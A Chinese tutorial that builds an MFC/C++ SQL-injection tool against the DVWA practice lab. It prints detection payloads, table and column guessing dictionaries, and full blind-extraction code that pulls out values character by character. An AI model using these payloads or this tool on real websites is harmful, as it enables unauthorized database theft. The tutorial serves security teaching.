網絡安全編程:開發SQL注入工具
SQL注入的產生是由于程序沒有對外部的輸入進行過濾,從而導致被精心構造的外來數據被注入到SQL語句中被執行而產生的黑客攻擊。本文針對DVWA編寫一個簡單的用于輔助SQL注入的工具,在編寫工具的同時可以從原理和本質上來了解SQL注入的形成。除了DVWA以外,還有許許多多不同的Web安全練習平臺,無論是哪種Web安全練習平臺都少不了最基礎的練習。
在拿到一個網站要進行注入時,需要檢測確認該網站是否存在已知的SQL注入的漏洞,那么就需要有進行判定是否存在SQL注入漏洞的方式。而SQL注入的漏洞常見有字符型注入、數值型注入和搜索型注入。雖然注入被分為了3類,但是它們的檢測思路是相通的,下面舉例介紹一下。
在登錄某個Web系統時,首先會要求輸入自己的用戶名和密碼,然后提交給Web服務器,Web服務器接收請求后轉交給Web腳本去處理請求,接著Web腳本會用得到的用戶名和密碼去數據庫中匹配是否存在該用戶名,且該用戶名的密碼是否正確。在數據庫中進行查詢的語言就叫作SQL,即結構化查詢語言。對于進行用戶名和密碼匹配的SQL腳本大體如下所示:
Select * from user where username='admin' and password='123456'
在上面的SQL語句中,就是要在user表中去匹配是否存在用戶名為admin和密碼為123456的記錄。注意,這里的admin和123456都是用引號引住的,說明這兩個值是字符型。
平時在瀏覽網頁時,可能會看到如下的連接:
http://localhost/article.php?id=1
在這個URL中,article.php是請求的頁面,id=1是提交給article.php的參數。而這個參數有可能是數值型,也有可能是字符型,用該id在數據庫中查詢可能是以下兩種情況。
Select * from article where id = 1
上面的是數值型,對于字符型是如下的查詢語句:
Select * from article where id = '1'
最后再說一下搜索型,搜索型一般是用在搜索欄的位置上,用于輸入某個關鍵字然后在數據庫中對該關鍵字進行匹配,比如要搜索所有以“微信公眾號:計算機與網絡安全”為標題的文章,可能的查詢語句如下:
Select * from article where title like '%微信公眾號:計算機與網絡安全%'
在做搜索型查詢時,在輸入的關鍵字的兩邊有“%”,它用于匹配任何字符,而且查詢時不再使用“=”,而是使用“like”關鍵字。
這就是3種不同的查詢方式,而在實際寫SQL的時候很少有人描述字符型查詢、數值型查詢的,因為編寫SQL的人知道查詢的值是什么類型,如果是數值就直接寫,如果是字符則在字符的兩側加單引號。但是對于在進行注入檢測時,是哪種類型就需要靠猜測了。
接著介紹Web腳本是如何讓SQL去數據庫中進行查詢的,以下面這個URL進行說明。
http://localhost/article.php?id=1
如果這里的id是字符型,那么在Web腳本語言中可能是如下代碼(以PHP語言說明)。
$id = $_GET['id'];$sql = "select * from article where id = '" . $id . "'";Mysql_query($sql);
首先獲得id,接著將id進行拼接,注意在id前后都有一個單引號,拼接好以后就和前面介紹的語句一樣了。如果是數值型的話,PHP語言的代碼如下:
$id = $_GET['id'];$sql = "select * from article where id = " . $id;Mysql_query($sql);
注意看,在拼接查詢語句時是沒有單引號的。
基礎部分已經差不多了,那么來說說檢測是否存在SQL注入的方法,仍然使用上面的URL來介紹,如何判斷article.php?id=1這個URL是否存在注入呢?如果是數值型查詢,那么只要在id=1后面跟一個and 1=1就可以了,URL如下:
http://localhost/article.php?id=1 and 1=1
如果是字符型查詢,那么只要在id=1后面跟一個’ and ‘1’=’1就可以了,URL如下:
http://localhost/article.php?id=1' and '1'='1
為什么要加個and呢,and后面為什么是1=1呢?因為and是邏輯與關系,and前面的表達式為真,且and后面的表達式也為真時,and表達式為真。那么id=1一般都是真的,而1=1也肯定是真的,因此id=1 and 1=1也是真的,那么在數據庫中仍然會把正確的數據進行返回,也就是說id=1和id=1 and 1=1返回的內容應該是一樣的。字符型中的單引號是用來在進行SQL字符串拼接時使用的,大家可以自行查看字符型的查詢代碼前面的SQL語句。
但是只通過and 1=1是無法說明問題的,還需要另外一個and表達式來進行測試,URL如下:
http://localhost/article.php?id=1 and 1=2
判斷完and 1=1以后,就需要判斷and 1=1,因為1=2是假,因此id=1 and 1=2的and表達式肯定為假,當為假的時候則無法返回正確的內容,也就是說id=1 and 1=2是無法返回與id=1相同的結果的。
因此,在進行SQL注入檢測的時候,需要根據不同的類型來構造不同的檢測判斷,當and 1=1返回的內容與原內容相同,且and 1=2返回的內容與原內容不同時,基本就可以判定是存在SQL注入的了。
在DVWA中對上面的原理進行演示,將DWVA的安全級別設置為“Low”,然后進入“SQL Injection”模塊,在界面中輸入1,并進行提交,返回的頁面被稱為A頁面,如圖1所示。

圖1 輸入User ID為1的輸出
再輸入1' and '1'='1,這里是字符型的注入,是筆記已經測試過的,DVWA返回結果如圖2所示,該頁面被稱為B頁面。

圖2 輸入User ID為1' and '1'='1的輸出
再輸入1' and '1'='2,DVWA返回結果什么都沒有,這個什么都沒有返回的頁面是C頁面。判斷是否存在注入的判定條件是,A頁面的內容和B頁面的內容相同,而B頁面的內容和A頁面的內容不相同。但是從返回頁面來看A頁面和B頁面也有少許差異,但是差異并不在查詢后的返回的內容上,而是將輸入的內容顯示到頁面上以后又導致有了差異,那么A頁面和B頁面不完全相同了,如何進行判定呢?既然只是部分不相同了,那么還是不影響判定的,可以匹配頁面的相似度,也可以去匹配頁面上的特征碼。匹配相似度可能稍微麻煩,但是匹配特征碼就相對簡單了,只要能查詢出結果,就會在頁面上返回“First name”和“Surname”,那么就用頁面上的“First name”來作為特征碼,判定條件就變了,在A頁面上有“First name”,B頁面上也有“First name”,且C頁面上沒有“Firstname”那么就判定該頁面存在SQL注入。
在“SQL Injection”模塊中提交了數據以后,URL的地址如下:
http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
地址欄的數據是?id=1&Submit=Submit這樣的,經過測試,如果地址欄沒有Submit=Submit則提交后會有問題,但是它的存在不利于測試,那么修改該URL地址如下:
http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1
通過這樣既保留了Submit=Submit,又可以利用id=1進行注入測試了。
有了上面的思路以后,就來看一下接下來要編寫的程序,如圖3所示。

圖3 SQL注入檢測程序
在圖中先將需要檢測的URL地址填入,然后填入特征碼,選擇好注入的類型,然后單擊“測試”,就會看到測試的情況。下面來看單擊“測試”按鈕后的代碼,代碼如下:
void CSQLInjectToolsDlg::OnBnClickedButton1(){ // TODO: 在此添加控件通知處理程序代碼 CString strUrl; GetDlgItemText(IDC_EDIT1, strUrl); GetDlgItemText(IDC_EDIT2, m_strSign); DWORD dwServiceType; // 服務類型 CString strServer; // 服務器地址 CString strObject; // URL 指向的對象 INTERNET_PORT nPort; // 端口號 AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort); CheckInject(strServer, strObject, nPort);}
獲得需要測試的注入地址,以及獲得特征碼,然后在CheckInject函數中進行檢測,CheckInject函數代碼如下:
void CSQLInjectToolsDlg::CheckInject(CString strServer, CString strObject, INTERNET_PORT nPort){ CString strUrl; strUrl = "http://" + strServer + strObject; switch ( m_nSel ) { case 1: { m_ScanList.InsertItem(m_ScanList.GetItemCount(), "測試字符型"); if ( Check(strServer, strObject, pCharText[0], pCharText[1]) ) { strUrl = strUrl + "[存在]"; } else { strUrl = strUrl + "[不存在]"; } break; } case 2: { m_ScanList.InsertItem(m_ScanList.GetItemCount(), "測試數值型"); if ( Check(strServer, strObject, pNumText[0], pNumText[1]) ) { strUrl = strUrl + "[存在]"; } else { strUrl = strUrl + "[不存在]"; } break; } case 3: { m_ScanList.InsertItem(m_ScanList.GetItemCount(), "測試搜索型"); if ( Check(strServer, strObject, pSearchText[0], pSearchText[1]) ) { strUrl = strUrl + "[存在]"; } else { strUrl = strUrl + "[不存在]"; } break; } default: { AfxMessageBox("請選擇測試類型!!"); break; } } m_ScanList.InsertItem(m_ScanList.GetItemCount(), strUrl); // closesocket(m_sock);}
在代碼中,switch用來判斷選擇的是哪種注入的測試類型,然后具體的判斷實現在Check函數中,Check函數的代碼如下:
BOOL CSQLInjectToolsDlg::Check(CString strServer, CString strObject, CString str11,CString str12){ BOOL bRet = FALSE; char szSendPacket[1024] = { 0 }; char szRecvPacket[0x2048] = { 0 }; CString strUrl; m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in ServerAddr = { 0 }; ServerAddr.sin_family = AF_INET; ServerAddr.sin_port = htons(80); ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer); connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr)); // 測試真 strUrl = strObject + str11; HttpGet(szSendPacket, strUrl.GetBuffer(0), strServer.GetBuffer(0)); send(m_sock, szSendPacket, strlen(szSendPacket), 0); recv(m_sock, szRecvPacket, 0x2048, 0); CString strPacket_11 = szRecvPacket; closesocket(m_sock); m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr)); // 測試假 strUrl = strObject + str12; ZeroMemory(szSendPacket, 1024); ZeroMemory(szRecvPacket, 0x2048); HttpGet(szSendPacket, strUrl.GetBuffer(0), strServer.GetBuffer(0)); send(m_sock, szSendPacket, strlen(szSendPacket), 0); recv(m_sock, szRecvPacket, 0x2048, 0); CString strPacket_12 = szRecvPacket; closesocket(m_sock); if ( strPacket_11.Find(m_strSign) != -1 && strPacket_12.Find(m_strSign) == -1 ) { bRet = TRUE; } return bRet;}
首先連接Web服務器,對服務器發送數據包,然后接收服務器返回的數據包,發送的包是對Web服務器的GET請求,而接收的數據包就是Web服務器返回的網頁的內容。第一次發送的是永真的1=1,第二次發送永假的1=2,然后分別在兩個包中查找特征碼即可。發送的數據包的函數是HttpGet函數,該函數的定義如下:
void CSQLInjectToolsDlg::HttpGet(char* strGetPacket, char* strUrl, char* strHost){ wsprintf(strGetPacket, "GET %s HTTP/1.1\r" "Host: %s\r" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, */*;q=0.8\r" "Upgrade-Insecure-Requests: 1\r" "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\r" "Referer: http://localhost/dvwa-1.9/vulnerabilities/sqli/\r" "Accept-Encoding: gzip, deflate, sdch\r" "Accept-Language: zh-CN,zh;q=0.8\r" "Cookie: security=low; pgv_pvi=8928542720; Hm_lvt_0a8b0d0d0f05cb8727db5cc8d 1f0dc08=1505118977; a5787_times=1; a3564_times=1; pageNo=1; pageSize=30; Hm_lvt_82116c626a8d504a5c0675073362ef6f=1508373269,1508719861,1508806033, 1508821087; PHPSESSID=jn0pc2a4eubcd400m4bh6nv1n2\r" "Connection: close\r\r", strUrl, strHost);}
發送的數據包是從Burp中攔截到的數據包,修改包請求的URL和請求主機即可。最后給出代碼中對3種注入檢測的定義,定義如下:
// 字符型char *pCharText[] ={ "%27+and+%271%27=%271", "%27+and+%271%27=%272"};// 數值型char *pNumText[] ={ " and 1=1", " and 1=2"};// 搜索型char *pSearchText[] ={ "%25%27+and+1=1+and+%27%25%27=%27%25", "%25%27+and+1=2+and+%27%25%27=%27%25"};
在請求的URL中,空格使用“+”代替,%27表示單引號,%25表示%。在URL中有很多字符出現以后是需要經過編碼的,不過好在這里只是使用ASCII碼進行了表示,大家在寫的時候需要注意。
上面是關于檢測的部分,下面來介紹關于利用的部分。利用的部分也類似檢測部分的原理,下面介紹如何猜解數據庫中的表名。判斷數據庫中有哪些表,這個也需要用到字典。這個字典可以自己收集,同樣也可以在現有的軟件中找一些字典來自己使用。
猜解數據庫中的表名,同樣也是用到SQL語句,還是以DVWA安全級別為“Low”的“SQL Injection”模塊來演示,如圖4所示。

圖4 SQL注入對表名的猜解
Exists在SQL中用來檢測括號中的查詢語句是否返回結果集,上面的查詢語句exists(select * from users)中,exists要判斷select * from users是否返回了結果集,返回了就為真,沒返回就為假,至于返回什么結果集并不重要。由此可以看出exists返回的是一個邏輯值,因此在判斷表名是否存在時就是這么判斷的。上面構造的查詢語句如下:
Select firstname, surname from 表 名 where id = '1' and exists(select * from users) and'1'='1'
在exists括號中的users就是要猜解的表名,當表名存在的時候就會有結果集返回,那么exists為真,整個and表達式成立,則頁面會返回與正常頁面相同的頁面,或者返回帶有特征碼的頁面。猜解表單的代碼如下:
void CSQLInjectToolsDlg::OnBnClickedButton2(){ // TODO: 在此添加控件通知處理程序代碼 CString strUrl; GetDlgItemText(IDC_EDIT1, strUrl); GetDlgItemText(IDC_EDIT2, m_strSign); DWORD dwServiceType; // 服務類型 CString strServer; // 服務器地址 CString strObject; // URL 指向的對象 INTERNET_PORT nPort; // 端口號 AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort); int nTable = sizeof(tables) / MAXBYTE; m_ScanList.InsertItem(m_ScanList.GetItemCount(), "開始猜表名"); for ( int i = 0; i < nTable; i++ ) { CString strUrl_1; // and (select count(*) from user) > 0 strUrl_1.Format("%s%%27+and+exists%%28select+*+from+%s%%29+and+%%271%%27=%%271", strObject, tables[i]); m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in ServerAddr = { 0 }; ServerAddr.sin_family = AF_INET; ServerAddr.sin_port = htons(80); ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer); connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr)); char szSendPacket[1024] = { 0 }; char szRecvPacket[0x2048] = { 0 }; HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0)); send(m_sock, szSendPacket, strlen(szSendPacket), 0); recv(m_sock, szRecvPacket, 0x2048, 0); CString strPacket; strPacket = szRecvPacket; CString tab = tables[i]; if ( strPacket.Find(m_strSign) != -1 ) { tab = tab + "[存在該表]"; } m_ScanList.InsertItem(m_ScanList.GetItemCount(), tab); closesocket(m_sock); } m_ScanList.InsertItem(m_ScanList.GetItemCount(), "結束猜表名");}
上面的關鍵在該句代碼:
strUrl_1.Format("%s%%27+and+exists%%28select+*+from+%s%%29+and+%%271%%27=%%271",strObject, tables[i]);
該代碼用來拼接請求的URL,其中%28和%29是分別代表了“(”和“)”,這兩個字符也不能出現在URL中,因此使用ASCII碼替換。然后在其中不斷地用tables數組中保存的表字典來猜測,表字典的定義如下:
// 猜表名char tables[][MAXBYTE] = { "admin", "manage", "users", "user", "guestbook", "note"};
程序運行后的效果如圖5所示。

圖5 SQL注入猜解表名
猜解完表名接下來就要猜解表中的列名,猜解列名如圖6所示。

圖6 SQL注入猜解列名
猜解列名的原理依然類似,代碼如下所示:
char columns[][MAXBYTE] = { "id", "user", "username", "pass", "pwd", "password"};void CSQLInjectToolsDlg::OnBnClickedButton3(){ // TODO: 在此添加控件通知處理程序代碼 CString strTable; CString strUrl; GetDlgItemText(IDC_EDIT1, strUrl); GetDlgItemText(IDC_EDIT2, m_strSign); GetDlgItemText(IDC_EDIT3, strTable); // 獲取猜解表名 DWORD dwServiceType; // 服務類型 CString strServer; // 服務器地址 CString strObject; // URL 指向的對象 INTERNET_PORT nPort; // 端口號 AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort); int nColumns = sizeof(columns) / MAXBYTE; m_ScanList.InsertItem(m_ScanList.GetItemCount(), "開始猜列名"); for ( int i = 0; i < nColumns; i++ ) { CString strUrl_1; // and (select count(id) from user) > 0 strUrl_1.Format("%s%%27+and+%%28select+count%%28%s%%29+from+%s%%29>0+and+ %%271%%27=%%271", strObject, columns[i], strTable); m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in ServerAddr = { 0 }; ServerAddr.sin_family = AF_INET; ServerAddr.sin_port = htons(80); ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer); connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr)); char szSendPacket[1024] = { 0 }; char szRecvPacket[0x2048] = { 0 }; HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0)); send(m_sock, szSendPacket, strlen(szSendPacket), 0); recv(m_sock, szRecvPacket, 0x2048, 0); CString strPacket; strPacket = szRecvPacket; CString col = columns[i]; if ( strPacket.Find(m_strSign) != -1 ) { col = col + "[存在該列]"; } m_ScanList.InsertItem(m_ScanList.GetItemCount(), col); closesocket(m_sock); } m_ScanList.InsertItem(m_ScanList.GetItemCount(), "結束猜列名");}
猜解列名的關鍵語句如下所示:
1' and (select count(password) from users)>0 and '1'='1
猜解列名時,不斷地替換count函數括號內的字段名,當該字段存在值時會返回一個大于0的值,使得and表達式成立,于是返回帶有特征碼的頁面。
一般情況下,猜解完列名,就該猜解列里面的值了,這里給出關鍵的構造SQL的語句。猜解列里的值,仍然是使用暴力破解,但是首先要知道列里的值的長度,計算長度的SQL語句如下:
1' and (select length(user) from users limit 0,1)=5 and '1'='1
首先length函數是用來計算長度的函數,這里length(user)是用來計算user字段中值的長度,user列中可能不會只有一個值,而是會有多個值,但是判斷時只需要取一條記錄,因此取了第一條記錄,使用的語句是limit 0,1,也就是從第0條記錄開始取1條。取出來的記錄如果為5則返回真,如果不是5則返回假。
因此,構造該語句時大體如下:
strUrl.format("1' and (select length(字段名) from 表名 limit %s,1)=%d and '1'='1",n, len);
其中n表示第幾條記錄,len表示猜解的長度,因為長度不固定因此長度使用循環變量逐個嘗試即可。比如,猜解的第0條用戶名是admin,那么長度就為5,有了長度之后再使用如下的語句猜解每一位的值,猜解admin的過程如下:
// 字段值1' and (select ascii(mid(user, 1, 1)) from users limit 0, 1) = 97 and '1'='11' and (select ascii(mid(user, 2, 1)) from users limit 0, 1) = 100 and '1'='11' and (select ascii(mid(user, 3, 1)) from users limit 0, 1) = 109 and '1'='11' and (select ascii(mid(user, 4, 1)) from users limit 0, 1) = 105 and '1'='11' and (select ascii(mid(user, 5, 1)) from users limit 0, 1) = 110 and '1'='1
上面的97表示a,100表示d,該處使用數字、大小寫字母進行替換測試即可,當測試條件成功后,測試下一個值,這時就使用到了mid函數,mid函數是用來取值字符串的子串的,因此猜解值時需要雙重循環來進行猜解。
下來完成判斷列值長度的功能,如圖7所示。

圖7 SQL注入猜解列值長度
在圖7中猜解的是users表中第0條記錄的user字段(字段就是列),猜解到的長度為5。下面看代碼:
void CSQLInjectToolsDlg::OnBnClickedButton4(){ // TODO: 在此添加控件通知處理程序代碼 CString strTable; CString strField; CString strUrl; CString strNum; GetDlgItemText(IDC_EDIT1, strUrl); GetDlgItemText(IDC_EDIT2, m_strSign); GetDlgItemText(IDC_EDIT3, strTable); // 獲取猜解表名 GetDlgItemText(IDC_EDIT4, strField); // 列名 GetDlgItemText(IDC_EDIT5, strNum); // 猜解第幾行 DWORD dwServiceType; // 服務類型 CString strServer; // 服務器地址 CString strObject; // URL 指向的對象 INTERNET_PORT nPort; // 端口號 AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort); m_ScanList.InsertItem(m_ScanList.GetItemCount(), "開始猜列值長度"); // 求長度 int nLen = 1; while ( nLen <= 64 ) { CString strUrl_1; // and (select length(username) from user limit 1) = 5 strUrl_1.Format("%s%%27+and+%%28select+length%%28%s%%29+from+%s+limit+%s%%2 C1%%29=%d+and+%%271%%27=%%271", strObject, strField, strTable, strNum, nLen); m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in ServerAddr = { 0 }; ServerAddr.sin_family = AF_INET; ServerAddr.sin_port = htons(80); ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer); connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr)); char szSendPacket[1024] = { 0 }; char szRecvPacket[0x2048] = { 0 }; HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0)); send(m_sock, szSendPacket, strlen(szSendPacket), 0); recv(m_sock, szRecvPacket, 0x2048, 0); CString strPacket; strPacket = szRecvPacket; if ( strPacket.Find(m_strSign) != -1 ) { closesocket(m_sock); break; } closesocket(m_sock); nLen ++; } CString num; num.Format("%d", nLen); m_ScanList.InsertItem(m_ScanList.GetItemCount(), num); m_ScanList.InsertItem(m_ScanList.GetItemCount(), "結束猜列值長度");}
最后再來看一下猜解列的值,如圖8所示。

圖8 SQL注入字段值的猜解
在圖8中,需要手動輸入猜解到的表名、列名和長度,當猜解第0行記錄的user列的長度后,一定是猜解第0行記錄的user列的值。代碼如下:
void CSQLInjectToolsDlg::OnBnClickedButton5(){ // 在此添加控件通知處理程序代碼 CString strTable; CString strField; CString strUrl; CString strNum; int nLen; GetDlgItemText(IDC_EDIT1, strUrl); GetDlgItemText(IDC_EDIT2, m_strSign); GetDlgItemText(IDC_EDIT3, strTable); // 獲取猜解表名 GetDlgItemText(IDC_EDIT4, strField); // 列名 GetDlgItemText(IDC_EDIT5, strNum); // 猜解第幾行 nLen = GetDlgItemInt(IDC_EDIT6); DWORD dwServiceType; // 服務類型 CString strServer; // 服務器地址 CString strObject; // URL 指向的對象 INTERNET_PORT nPort; // 端口號 AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort); m_ScanList.InsertItem(m_ScanList.GetItemCount(), "開始猜列值"); CString strValue; int i = 1; CString username; // 長度用于猜解每一位 while ( i <= nLen ) { // 這里猜解只猜解小寫的字母 // 這里在實際的時候需要改成各種可能的字符 for ( int c = 97; c < 122; c ++ ) { CString strUrl_1; // and (select ascii(mid(username, 1, 1)) from user limit 1) = 97 strUrl_1.Format("%s%%27+and+%%28select+ascii%%28mid%%28%s,%d,1%%29%%29+ from+%s+limit+%s,1%%29=%d+and+%%271%%27=%%271", strObject, strField, i, strTable, strNum, c); m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in ServerAddr = { 0 }; ServerAddr.sin_family = AF_INET; ServerAddr.sin_port = htons(80); ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer); connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr)); char szSendPacket[1024] = { 0 }; char szRecvPacket[0x2048] = { 0 }; HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0)); send(m_sock, szSendPacket, strlen(szSendPacket), 0); recv(m_sock, szRecvPacket, 0x2048, 0); CString strPacket; strPacket = szRecvPacket; if ( strPacket.Find(m_strSign) != -1 ) { // 拼接猜解的每一位用戶名 username.Format("%s%c", username, c); closesocket(m_sock); break; } closesocket(m_sock); } i ++; } username = username + "[猜解結果]"; m_ScanList.InsertItem(m_ScanList.GetItemCount(), username); m_ScanList.InsertItem(m_ScanList.GetItemCount(), "結束猜列值");}
到這里整個的關于DVWA系統中針對安全級別為“Low”的“SQL Injection”模塊的測試和利用代碼就完成了。從整個代碼中可以看出,對于基本的掌握SQL的使用是不復雜的,沒有接觸過的朋友通過少量的時間即可學會。對Web安全感興趣的朋友,可以跟著DVWA系統進行練習,因為DVWA系統已經基本涉及了Web安全領域入門所需要掌握的常見漏洞,如果大家能夠在學習DVWA的過程中將PHP語言學會(DVWA就是PHP+MySQL寫的),通過閱讀DVWA各個安全級別的代碼,不但可以掌握各種漏洞的形成,還能夠學習到如何編寫安全的Web代碼,從而在源頭上盡可能地杜絕漏洞的產生。